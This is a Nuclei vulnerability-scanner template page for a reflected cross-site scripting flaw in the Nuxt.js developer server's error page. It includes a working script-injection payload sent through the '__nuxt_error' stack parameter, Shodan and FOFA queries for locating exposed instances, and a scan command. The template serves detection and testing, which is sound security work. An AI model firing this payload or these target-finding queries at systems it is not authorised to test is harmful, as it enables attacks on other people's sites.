Nuxt.js Error Page - Cross-Site Scripting

ID: nuxt-js-xss

Severity: medium

Author: DhiyaneshDK

Tags: huntr,xss,nuxtjs

Description

The developer server unsafely renders the stack trace within errors. This can be manipulated by sending a specially crafted request.

YAML Source

id: nuxt-js-xss

info:
  name: Nuxt.js Error Page - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    The developer server unsafely renders the stack trace within errors. This can be manipulated by sending a specially crafted request.
  reference:
    - https://huntr.dev/bounties/70ac720d-c932-4ed3-98b1-dd2cbcb90185/
    - https://bryces.io/blog/nuxt3
    - https://twitter.com/fofabot/status/1669339995780558849
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"buildAssetsDir" "nuxt"
    fofa-query: body="buildAssetsDir" && body="__nuxt"
  tags: huntr,xss,nuxtjs

variables:
  payload: "<script>alert(document.domain)</script>"

http:
  - method: GET
    path:
      - "{{BaseURL}}/__nuxt_error?stack=%0A{{url_encode(payload)}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{payload}}"
          - "window.__NUXT__"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
# digest: 4a0a00473045022100ea225186f532c4a7239ff8c57b9681a531c3664387db0b2816701198ef7ea9ff02204a6a804d7ea5a253d33de273b922506b4d47ed1db1fc6b91de6cf7eb5d9a40fd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/nuxt/nuxt-js-xss.yaml"

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